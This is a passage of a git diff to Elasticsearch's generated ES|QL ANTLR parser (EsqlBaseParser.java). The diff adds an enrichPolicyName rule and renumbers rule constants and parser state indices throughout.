0, 0, 0, 794, 795, 7, 8, 0, 0, 795, 165, 1, 0, 0, 0, 796, 797, 7, 9, 0, 0, 797, 798, 5, 114, 0, 0, 798, 799, 3, 168, 84, 0, 799, 800, 3, 170, 85, 0, 800, 167, 1, 0, 0, 0, 801, 802, 3, 28, 14, 0, 802, 169, 1, 0, 0, 0, 803, 804, 5, 74, 0, 0, 804, 809, 3, 172, 86, 0, 805, 806, 5, 62, 0, 0, 806, 808, 3, 172, 86, 0, 807, 805, 1, 0, 0, 0, 808, 811, 1, 0, 0, 0, 809, 807, 1, 0, 0, 0, 809, 810, 1, 0, 0, 0, 810, 171, 1, 0, 0, 0, 811, 809, 1, 0, 0, 0, 812, 813, 3, 138, 69, 0, 813, 173, 1, 0, 0, 0, 72, 185, 195, 224, 239, 245, 254, 260, 273, 277, 288, 304, 312, 316, 323, 329, 336, 344, 352, 360, 364, 368, 373, 384, 389, 393, 407, 418, 424, 438, 459, 467, 470, 477, 493, 499, 506, 517, 531, 543, 552, 560, 566, 579, 588, 596, 601, 609, 611, 616, 623, 630, 639, 644, 649, 659, 665, 673, 675, 686, 693, 704, 709, 711, 723, 747, 758, 769, 774, 780, 783, 788, 809]
\ No newline at end of file
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParser.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParser.java
index 8f9a1477ef9ea..6dd6a15577139 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParser.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/parser/EsqlBaseParser.java
@@ -70,19 +70,19 @@ public class EsqlBaseParser extends ParserConfig {
     RULE_dissectCommand = 39, RULE_grokCommand = 40, RULE_mvExpandCommand = 41, 
     RULE_commandOptions = 42, RULE_commandOption = 43, RULE_explainCommand = 44, 
     RULE_subqueryExpression = 45, RULE_showCommand = 46, RULE_enrichCommand = 47, 
-    RULE_enrichWithClause = 48, RULE_sampleCommand = 49, RULE_lookupCommand = 50, 
-    RULE_inlinestatsCommand = 51, RULE_changePointCommand = 52, RULE_insistCommand = 53, 
-    RULE_forkCommand = 54, RULE_forkSubQueries = 55, RULE_forkSubQuery = 56, 
-    RULE_forkSubQueryCommand = 57, RULE_forkSubQueryProcessingCommand = 58, 
-    RULE_rrfCommand = 59, RULE_inferenceCommandOptions = 60, RULE_inferenceCommandOption = 61, 
-    RULE_inferenceCommandOptionValue = 62, RULE_rerankCommand = 63, RULE_completionCommand = 64, 
-    RULE_booleanExpression = 65, RULE_regexBooleanExpression = 66, RULE_matchBooleanExpression = 67, 
-    RULE_valueExpression = 68, RULE_operatorExpression = 69, RULE_primaryExpression = 70, 
-    RULE_functionExpression = 71, RULE_functionName = 72, RULE_mapExpression = 73, 
-    RULE_entryExpression = 74, RULE_constant = 75, RULE_booleanValue = 76, 
-    RULE_numericValue = 77, RULE_decimalValue = 78, RULE_integerValue = 79, 
-    RULE_string = 80, RULE_comparisonOperator = 81, RULE_joinCommand = 82, 
-    RULE_joinTarget = 83, RULE_joinCondition = 84, RULE_joinPredicate = 85;
+    RULE_enrichPolicyName = 48, RULE_enrichWithClause = 49, RULE_sampleCommand = 50, 
+    RULE_lookupCommand = 51, RULE_inlinestatsCommand = 52, RULE_changePointCommand = 53, 
+    RULE_insistCommand = 54, RULE_forkCommand = 55, RULE_forkSubQueries = 56, 
+    RULE_forkSubQuery = 57, RULE_forkSubQueryCommand = 58, RULE_forkSubQueryProcessingCommand = 59, 
+    RULE_rrfCommand = 60, RULE_inferenceCommandOptions = 61, RULE_inferenceCommandOption = 62, 
+    RULE_inferenceCommandOptionValue = 63, RULE_rerankCommand = 64, RULE_completionCommand = 65, 
+    RULE_booleanExpression = 66, RULE_regexBooleanExpression = 67, RULE_matchBooleanExpression = 68, 
+    RULE_valueExpression = 69, RULE_operatorExpression = 70, RULE_primaryExpression = 71, 
+    RULE_functionExpression = 72, RULE_functionName = 73, RULE_mapExpression = 74, 
+    RULE_entryExpression = 75, RULE_constant = 76, RULE_booleanValue = 77, 
+    RULE_numericValue = 78, RULE_decimalValue = 79, RULE_integerValue = 80, 
+    RULE_string = 81, RULE_comparisonOperator = 82, RULE_joinCommand = 83, 
+    RULE_joinTarget = 84, RULE_joinCondition = 85, RULE_joinPredicate = 86;
   private static String[] makeRuleNames() {
     return new String[] {
       "singleStatement", "query", "sourceCommand", "processingCommand", "whereCommand", 
@@ -95,9 +95,9 @@ private static String[] makeRuleNames() {
       "limitCommand", "sortCommand", "orderExpression", "keepCommand", "dropCommand", 
       "renameCommand", "renameClause", "dissectCommand", "grokCommand", "mvExpandCommand", 
       "commandOptions", "commandOption", "explainCommand", "subqueryExpression", 
-      "showCommand", "enrichCommand", "enrichWithClause", "sampleCommand", 
-      "lookupCommand", "inlinestatsCommand", "changePointCommand", "insistCommand", 
-      "forkCommand", "forkSubQueries", "forkSubQuery", "forkSubQueryCommand", 
+      "showCommand", "enrichCommand", "enrichPolicyName", "enrichWithClause", 
+      "sampleCommand", "lookupCommand", "inlinestatsCommand", "changePointCommand", 
+      "insistCommand", "forkCommand", "forkSubQueries", "forkSubQuery", "forkSubQueryCommand", 
       "forkSubQueryProcessingCommand", "rrfCommand", "inferenceCommandOptions", 
       "inferenceCommandOption", "inferenceCommandOptionValue", "rerankCommand", 
       "completionCommand", "booleanExpression", "regexBooleanExpression", "matchBooleanExpression", 
@@ -244,9 +244,9 @@ public final SingleStatementContext singleStatement() throws RecognitionExceptio
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(172);
+      setState(174);
       query(0);
-      setState(173);
+      setState(175);
       match(EOF);
       }
     }
@@ -342,11 +342,11 @@ private QueryContext query(int _p) throws RecognitionException {
       _ctx = _localctx;
       _prevctx = _localctx;
 
-      setState(176);
+      setState(178);
       sourceCommand();
       }
       _ctx.stop = _input.LT(-1);
-      setState(183);
+      setState(185);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,0,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
@@ -357,16 +357,16 @@ private QueryContext query(int _p) throws RecognitionException {
           {
           _localctx = new CompositeQueryContext(new QueryContext(_parentctx, _parentState));
           pushNewRecursionContext(_localctx, _startState, RULE_query);
-          setState(178);
+          setState(180);
           if (!(precpred(_ctx, 1))) throw new FailedPredicateException(this, "precpred(_ctx, 1)");
-          setState(179);
+          setState(181);
           match(PIPE);
-          setState(180);
+          setState(182);
           processingCommand();
           }
           } 
         }
-        setState(185);
+        setState(187);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,0,_ctx);
       }
@@ -424,45 +424,45 @@ public final SourceCommandContext sourceCommand() throws RecognitionException {
     SourceCommandContext _localctx = new SourceCommandContext(_ctx, getState());
     enterRule(_localctx, 4, RULE_sourceCommand);
     try {
-      setState(193);
+      setState(195);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,1,_ctx) ) {
       case 1:
         enterOuterAlt(_localctx, 1);
         {
-        setState(186);
+        setState(188);
         fromCommand();
         }
         break;
       case 2:
         enterOuterAlt(_localctx, 2);
         {
-        setState(187);
+        setState(189);
         rowCommand();
         }
         break;
       case 3:
         enterOuterAlt(_localctx, 3);
         {
-        setState(188);
+        setState(190);
         showCommand();
         }
         break;
       case 4:
         enterOuterAlt(_localctx, 4);
         {
-        setState(189);
+        setState(191);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(190);
+        setState(192);
         timeSeriesCommand();
         }
         break;
       case 5:
         enterOuterAlt(_localctx, 5);
         {
-        setState(191);
+        setState(193);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(192);
+        setState(194);
         explainCommand();
         }
         break;
@@ -571,170 +571,170 @@ public final ProcessingCommandContext processingCommand() throws RecognitionExce
     ProcessingCommandContext _localctx = new ProcessingCommandContext(_ctx, getState());
     enterRule(_localctx, 6, RULE_processingCommand);
     try {
-      setState(222);
+      setState(224);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,2,_ctx) ) {
       case 1:
         enterOuterAlt(_localctx, 1);
         {
-        setState(195);
+        setState(197);
         evalCommand();
         }
         break;
       case 2:
         enterOuterAlt(_localctx, 2);
         {
-        setState(196);
+        setState(198);
         whereCommand();
         }
         break;
       case 3:
         enterOuterAlt(_localctx, 3);
         {
-        setState(197);
+        setState(199);
         keepCommand();
         }
         break;
       case 4:
         enterOuterAlt(_localctx, 4);
         {
-        setState(198);
+        setState(200);
         limitCommand();
         }
         break;
       case 5:
         enterOuterAlt(_localctx, 5);
         {
-        setState(199);
+        setState(201);
         statsCommand();
         }
         break;
       case 6:
         enterOuterAlt(_localctx, 6);
         {
-        setState(200);
+        setState(202);
         sortCommand();
         }
         break;
       case 7:
         enterOuterAlt(_localctx, 7);
         {
-        setState(201);
+        setState(203);
         dropCommand();
         }
         break;
       case 8:
         enterOuterAlt(_localctx, 8);
         {
-        setState(202);
+        setState(204);
         renameCommand();
         }
         break;
       case 9:
         enterOuterAlt(_localctx, 9);
         {
-        setState(203);
+        setState(205);
         dissectCommand();
         }
         break;
       case 10:
         enterOuterAlt(_localctx, 10);
         {
-        setState(204);
+        setState(206);
         grokCommand();
         }
         break;
       case 11:
         enterOuterAlt(_localctx, 11);
         {
-        setState(205);
+        setState(207);
         enrichCommand();
         }
         break;
       case 12:
         enterOuterAlt(_localctx, 12);
         {
-        setState(206);
+        setState(208);
         mvExpandCommand();
         }
         break;
       case 13:
         enterOuterAlt(_localctx, 13);
         {
-        setState(207);
+        setState(209);
         joinCommand();
         }
         break;
       case 14:
         enterOuterAlt(_localctx, 14);
         {
-        setState(208);
+        setState(210);
         changePointCommand();
         }
         break;
       case 15:
         enterOuterAlt(_localctx, 15);
         {
-        setState(209);
+        setState(211);
         completionCommand();
         }
         break;
       case 16:
         enterOuterAlt(_localctx, 16);
         {
-        setState(210);
+        setState(212);
         sampleCommand();
         }
         break;
       case 17:
         enterOuterAlt(_localctx, 17);
         {
-        setState(211);
+        setState(213);
         forkCommand();
         }
         break;
       case 18:
         enterOuterAlt(_localctx, 18);
         {
-        setState(212);
+        setState(214);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(213);
+        setState(215);
         inlinestatsCommand();
         }
         break;
       case 19:
         enterOuterAlt(_localctx, 19);
         {
-        setState(214);
+        setState(216);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(215);
+        setState(217);
         lookupCommand();
         }
         break;
       case 20:
         enterOuterAlt(_localctx, 20);
         {
-        setState(216);
+        setState(218);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(217);
+        setState(219);
         insistCommand();
         }
         break;
       case 21:
         enterOuterAlt(_localctx, 21);
         {
-        setState(218);
+        setState(220);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(219);
+        setState(221);
         rerankCommand();
         }
         break;
       case 22:
         enterOuterAlt(_localctx, 22);
         {
-        setState(220);
+        setState(222);
         if (!(this.isDevVersion())) throw new FailedPredicateException(this, "this.isDevVersion()");
-        setState(221);
+        setState(223);
         rrfCommand();
         }
         break;
@@ -783,9 +783,9 @@ public final WhereCommandContext whereCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(224);
+      setState(226);
       match(WHERE);
-      setState(225);
+      setState(227);
       booleanExpression(0);
       }
     }
@@ -843,7 +843,7 @@ public final DataTypeContext dataType() throws RecognitionException {
       _localctx = new ToDataTypeContext(_localctx);
       enterOuterAlt(_localctx, 1);
       {
-      setState(227);
+      setState(229);
       identifier();
       }
     }
@@ -890,9 +890,9 @@ public final RowCommandContext rowCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(229);
+      setState(231);
       match(ROW);
-      setState(230);
+      setState(232);
       fields();
       }
     }
@@ -946,23 +946,23 @@ public final FieldsContext fields() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(232);
+      setState(234);
       field();
-      setState(237);
+      setState(239);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,3,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(233);
+          setState(235);
           match(COMMA);
-          setState(234);
+          setState(236);
           field();
           }
           } 
         }
-        setState(239);
+        setState(241);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,3,_ctx);
       }
@@ -1014,19 +1014,19 @@ public final FieldContext field() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(243);
+      setState(245);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,4,_ctx) ) {
       case 1:
         {
-        setState(240);
+        setState(242);
         qualifiedName();
-        setState(241);
+        setState(243);
         match(ASSIGN);
         }
         break;
       }
-      setState(245);
+      setState(247);
       booleanExpression(0);
       }
     }
@@ -1080,23 +1080,23 @@ public final RerankFieldsContext rerankFields() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(247);
+      setState(249);
       rerankField();
-      setState(252);
+      setState(254);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,5,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(248);
+          setState(250);
           match(COMMA);
-          setState(249);
+          setState(251);
           rerankField();
           }
           } 
         }
-        setState(254);
+        setState(256);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,5,_ctx);
       }
@@ -1148,16 +1148,16 @@ public final RerankFieldContext rerankField() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(255);
+      setState(257);
       qualifiedName();
-      setState(258);
+      setState(260);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,6,_ctx) ) {
       case 1:
         {
-        setState(256);
+        setState(258);
         match(ASSIGN);
-        setState(257);
+        setState(259);
         booleanExpression(0);
         }
         break;
@@ -1207,9 +1207,9 @@ public final FromCommandContext fromCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(260);
+      setState(262);
       match(FROM);
-      setState(261);
+      setState(263);
       indexPatternAndMetadataFields();
       }
     }
@@ -1256,9 +1256,9 @@ public final TimeSeriesCommandContext timeSeriesCommand() throws RecognitionExce
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(263);
+      setState(265);
       match(DEV_TIME_SERIES);
-      setState(264);
+      setState(266);
       indexPatternAndMetadataFields();
       }
     }
@@ -1315,32 +1315,32 @@ public final IndexPatternAndMetadataFieldsContext indexPatternAndMetadataFields(
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(266);
+      setState(268);
       indexPattern();
-      setState(271);
+      setState(273);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,7,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(267);
+          setState(269);
           match(COMMA);
-          setState(268);
+          setState(270);
           indexPattern();
           }
           } 
         }
-        setState(273);
+        setState(275);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,7,_ctx);
       }
-      setState(275);
+      setState(277);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,8,_ctx) ) {
       case 1:
         {
-        setState(274);
+        setState(276);
         metadata();
         }
         break;
@@ -1398,35 +1398,35 @@ public final IndexPatternContext indexPattern() throws RecognitionException {
     IndexPatternContext _localctx = new IndexPatternContext(_ctx, getState());
     enterRule(_localctx, 28, RULE_indexPattern);
     try {
-      setState(286);
+      setState(288);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,9,_ctx) ) {
       case 1:
         enterOuterAlt(_localctx, 1);
         {
-        setState(277);
+        setState(279);
         clusterString();
-        setState(278);
+        setState(280);
         match(COLON);
-        setState(279);
+        setState(281);
         unquotedIndexString();
         }
         break;
       case 2:
         enterOuterAlt(_localctx, 2);
         {
-        setState(281);
+        setState(283);
         unquotedIndexString();
-        setState(282);
+        setState(284);
         match(CAST_OP);
-        setState(283);
+        setState(285);
         selectorString();
         }
         break;
       case 3:
         enterOuterAlt(_localctx, 3);
         {
-        setState(285);
+        setState(287);
         indexString();
         }
         break;
@@ -1472,7 +1472,7 @@ public final ClusterStringContext clusterString() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(288);
+      setState(290);
       match(UNQUOTED_SOURCE);
       }
     }
@@ -1516,7 +1516,7 @@ public final SelectorStringContext selectorString() throws RecognitionException
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(290);
+      setState(292);
       match(UNQUOTED_SOURCE);
       }
     }
@@ -1560,7 +1560,7 @@ public final UnquotedIndexStringContext unquotedIndexString() throws Recognition
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(292);
+      setState(294);
       match(UNQUOTED_SOURCE);
       }
     }
@@ -1606,7 +1606,7 @@ public final IndexStringContext indexString() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(294);
+      setState(296);
       _la = _input.LA(1);
       if ( !(_la==QUOTED_STRING || _la==UNQUOTED_SOURCE) ) {
       _errHandler.recoverInline(this);
@@ -1667,25 +1667,25 @@ public final MetadataContext metadata() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(296);
+      setState(298);
       match(METADATA);
-      setState(297);
+      setState(299);
       match(UNQUOTED_SOURCE);
-      setState(302);
+      setState(304);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,10,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(298);
+          setState(300);
           match(COMMA);
-          setState(299);
+          setState(301);
           match(UNQUOTED_SOURCE);
           }
           } 
         }
-        setState(304);
+        setState(306);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,10,_ctx);
       }
@@ -1734,9 +1734,9 @@ public final EvalCommandContext evalCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(305);
+      setState(307);
       match(EVAL);
-      setState(306);
+      setState(308);
       fields();
       }
     }
@@ -1789,26 +1789,26 @@ public final StatsCommandContext statsCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(308);
-      match(STATS);
       setState(310);
+      match(STATS);
+      setState(312);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,11,_ctx) ) {
       case 1:
         {
-        setState(309);
+        setState(311);
         ((StatsCommandContext)_localctx).stats = aggFields();
         }
         break;
       }
-      setState(314);
+      setState(316);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,12,_ctx) ) {
       case 1:
         {
-        setState(312);
+        setState(314);
         match(BY);
-        setState(313);
+        setState(315);
         ((StatsCommandContext)_localctx).grouping = fields();
         }
         break;
@@ -1865,23 +1865,23 @@ public final AggFieldsContext aggFields() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(316);
+      setState(318);
       aggField();
-      setState(321);
+      setState(323);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,13,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(317);
+          setState(319);
           match(COMMA);
-          setState(318);
+          setState(320);
           aggField();
           }
           } 
         }
-        setState(323);
+        setState(325);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,13,_ctx);
       }
@@ -1933,16 +1933,16 @@ public final AggFieldContext aggField() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(324);
+      setState(326);
       field();
-      setState(327);
+      setState(329);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,14,_ctx) ) {
       case 1:
         {
-        setState(325);
+        setState(327);
         match(WHERE);
-        setState(326);
+        setState(328);
         booleanExpression(0);
         }
         break;
@@ -1999,23 +1999,23 @@ public final QualifiedNameContext qualifiedName() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(329);
+      setState(331);
       identifierOrParameter();
-      setState(334);
+      setState(336);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,15,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(330);
+          setState(332);
           match(DOT);
-          setState(331);
+          setState(333);
           identifierOrParameter();
           }
           } 
         }
-        setState(336);
+        setState(338);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,15,_ctx);
       }
@@ -2071,23 +2071,23 @@ public final QualifiedNamePatternContext qualifiedNamePattern() throws Recogniti
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(337);
+      setState(339);
       identifierPattern();
-      setState(342);
+      setState(344);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,16,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(338);
+          setState(340);
           match(DOT);
-          setState(339);
+          setState(341);
           identifierPattern();
           }
           } 
         }
-        setState(344);
+        setState(346);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,16,_ctx);
       }
@@ -2143,23 +2143,23 @@ public final QualifiedNamePatternsContext qualifiedNamePatterns() throws Recogni
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(345);
+      setState(347);
       qualifiedNamePattern();
-      setState(350);
+      setState(352);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,17,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(346);
+          setState(348);
           match(COMMA);
-          setState(347);
+          setState(349);
           qualifiedNamePattern();
           }
           } 
         }
-        setState(352);
+        setState(354);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,17,_ctx);
       }
@@ -2207,7 +2207,7 @@ public final IdentifierContext identifier() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(353);
+      setState(355);
       _la = _input.LA(1);
       if ( !(_la==UNQUOTED_IDENTIFIER || _la==QUOTED_IDENTIFIER) ) {
       _errHandler.recoverInline(this);
@@ -2263,13 +2263,13 @@ public final IdentifierPatternContext identifierPattern() throws RecognitionExce
     IdentifierPatternContext _localctx = new IdentifierPatternContext(_ctx, getState());
     enterRule(_localctx, 56, RULE_identifierPattern);
     try {
-      setState(358);
+      setState(360);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case ID_PATTERN:
         enterOuterAlt(_localctx, 1);
         {
-        setState(355);
+        setState(357);
         match(ID_PATTERN);
         }
         break;
@@ -2277,7 +2277,7 @@ public final IdentifierPatternContext identifierPattern() throws RecognitionExce
       case NAMED_OR_POSITIONAL_PARAM:
         enterOuterAlt(_localctx, 2);
         {
-        setState(356);
+        setState(358);
         parameter();
         }
         break;
@@ -2285,7 +2285,7 @@ public final IdentifierPatternContext identifierPattern() throws RecognitionExce
       case NAMED_OR_POSITIONAL_DOUBLE_PARAMS:
         enterOuterAlt(_localctx, 3);
         {
-        setState(357);
+        setState(359);
         doubleParameter();
         }
         break;
@@ -2361,14 +2361,14 @@ public final ParameterContext parameter() throws RecognitionException {
     ParameterContext _localctx = new ParameterContext(_ctx, getState());
     enterRule(_localctx, 58, RULE_parameter);
     try {
-      setState(362);
+      setState(364);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case PARAM:
         _localctx = new InputParamContext(_localctx);
         enterOuterAlt(_localctx, 1);
         {
-        setState(360);
+        setState(362);
         match(PARAM);
         }
         break;
@@ -2376,7 +2376,7 @@ public final ParameterContext parameter() throws RecognitionException {
         _localctx = new InputNamedOrPositionalParamContext(_localctx);
         enterOuterAlt(_localctx, 2);
         {
-        setState(361);
+        setState(363);
         match(NAMED_OR_POSITIONAL_PARAM);
         }
         break;
@@ -2452,14 +2452,14 @@ public final DoubleParameterContext doubleParameter() throws RecognitionExceptio
     DoubleParameterContext _localctx = new DoubleParameterContext(_ctx, getState());
     enterRule(_localctx, 60, RULE_doubleParameter);
     try {
-      setState(366);
+      setState(368);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case DOUBLE_PARAMS:
         _localctx = new InputDoubleParamsContext(_localctx);
         enterOuterAlt(_localctx, 1);
         {
-        setState(364);
+        setState(366);
         match(DOUBLE_PARAMS);
         }
         break;
@@ -2467,7 +2467,7 @@ public final DoubleParameterContext doubleParameter() throws RecognitionExceptio
         _localctx = new InputNamedOrPositionalDoubleParamsContext(_localctx);
         enterOuterAlt(_localctx, 2);
         {
-        setState(365);
+        setState(367);
         match(NAMED_OR_POSITIONAL_DOUBLE_PARAMS);
         }
         break;
@@ -2521,14 +2521,14 @@ public final IdentifierOrParameterContext identifierOrParameter() throws Recogni
     IdentifierOrParameterContext _localctx = new IdentifierOrParameterContext(_ctx, getState());
     enterRule(_localctx, 62, RULE_identifierOrParameter);
     try {
-      setState(371);
+      setState(373);
       _errHandler.sync(this);
       switch (_input.LA(1)) {
       case UNQUOTED_IDENTIFIER:
       case QUOTED_IDENTIFIER:
         enterOuterAlt(_localctx, 1);
         {
-        setState(368);
+        setState(370);
         identifier();
         }
         break;
@@ -2536,7 +2536,7 @@ public final IdentifierOrParameterContext identifierOrParameter() throws Recogni
       case NAMED_OR_POSITIONAL_PARAM:
         enterOuterAlt(_localctx, 2);
         {
-        setState(369);
+        setState(371);
         parameter();
         }
         break;
@@ -2544,7 +2544,7 @@ public final IdentifierOrParameterContext identifierOrParameter() throws Recogni
       case NAMED_OR_POSITIONAL_DOUBLE_PARAMS:
         enterOuterAlt(_localctx, 3);
         {
-        setState(370);
+        setState(372);
         doubleParameter();
         }
         break;
@@ -2595,9 +2595,9 @@ public final LimitCommandContext limitCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(373);
+      setState(375);
       match(LIMIT);
-      setState(374);
+      setState(376);
       constant();
       }
     }
@@ -2652,25 +2652,25 @@ public final SortCommandContext sortCommand() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(376);
+      setState(378);
       match(SORT);
-      setState(377);
+      setState(379);
       orderExpression();
-      setState(382);
+      setState(384);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,22,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(378);
+          setState(380);
           match(COMMA);
-          setState(379);
+          setState(381);
           orderExpression();
           }
           } 
         }
-        setState(384);
+        setState(386);
         _errHandler.sync(this);
         _alt = getInterpreter().adaptivePredict(_input,22,_ctx);
       }
@@ -2726,14 +2726,14 @@ public final OrderExpressionContext orderExpression() throws RecognitionExceptio
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(385);
-      booleanExpression(0);
       setState(387);
+      booleanExpression(0);
+      setState(389);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,23,_ctx) ) {
       case 1:
         {
-        setState(386);
+        setState(388);
         ((OrderExpressionContext)_localctx).ordering = _input.LT(1);
         _la = _input.LA(1);
         if ( !(_la==ASC || _la==DESC) ) {
@@ -2747,14 +2747,14 @@ public final OrderExpressionContext orderExpression() throws RecognitionExceptio
         }
         break;
       }
-      setState(391);
+      setState(393);
       _errHandler.sync(this);
       switch ( getInterpreter().adaptivePredict(_input,24,_ctx) ) {
       case 1:
         {
-        setState(389);
+        setState(391);
         match(NULLS);
-        setState(390);
+        setState(392);
         ((OrderExpressionContext)_localctx).nullOrdering = _input.LT(1);
         _la = _input.LA(1);
         if ( !(_la==FIRST || _la==LAST) ) {
@@ -2813,9 +2813,9 @@ public final KeepCommandContext keepCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(393);
+      setState(395);
       match(KEEP);
-      setState(394);
+      setState(396);
       qualifiedNamePatterns();
       }
     }
@@ -2862,9 +2862,9 @@ public final DropCommandContext dropCommand() throws RecognitionException {
     try {
       enterOuterAlt(_localctx, 1);
       {
-      setState(396);
+      setState(398);
       match(DROP);
-      setState(397);
+      setState(399);
       qualifiedNamePatterns();
       }
     }
@@ -2919,25 +2919,25 @@ public final RenameCommandContext renameCommand() throws RecognitionException {
       int _alt;
       enterOuterAlt(_localctx, 1);
       {
-      setState(399);
+      setState(401);
       match(RENAME);
-      setState(400);
+      setState(402);
       renameClause();
-      setState(405);
+      setState(407);
       _errHandler.sync(this);
       _alt = getInterpreter().adaptivePredict(_input,25,_ctx);
       while ( _alt!=2 && _alt!=org.antlr.v4.runtime.atn.ATN.INVALID_ALT_NUMBER ) {
         if ( _alt==1 ) {
           {
           {
-          setState(401);
+          setState(403);
           match(COMMA);
-          setState(402);
+          setState(404);
           renameClause();
           }
           } 
         }
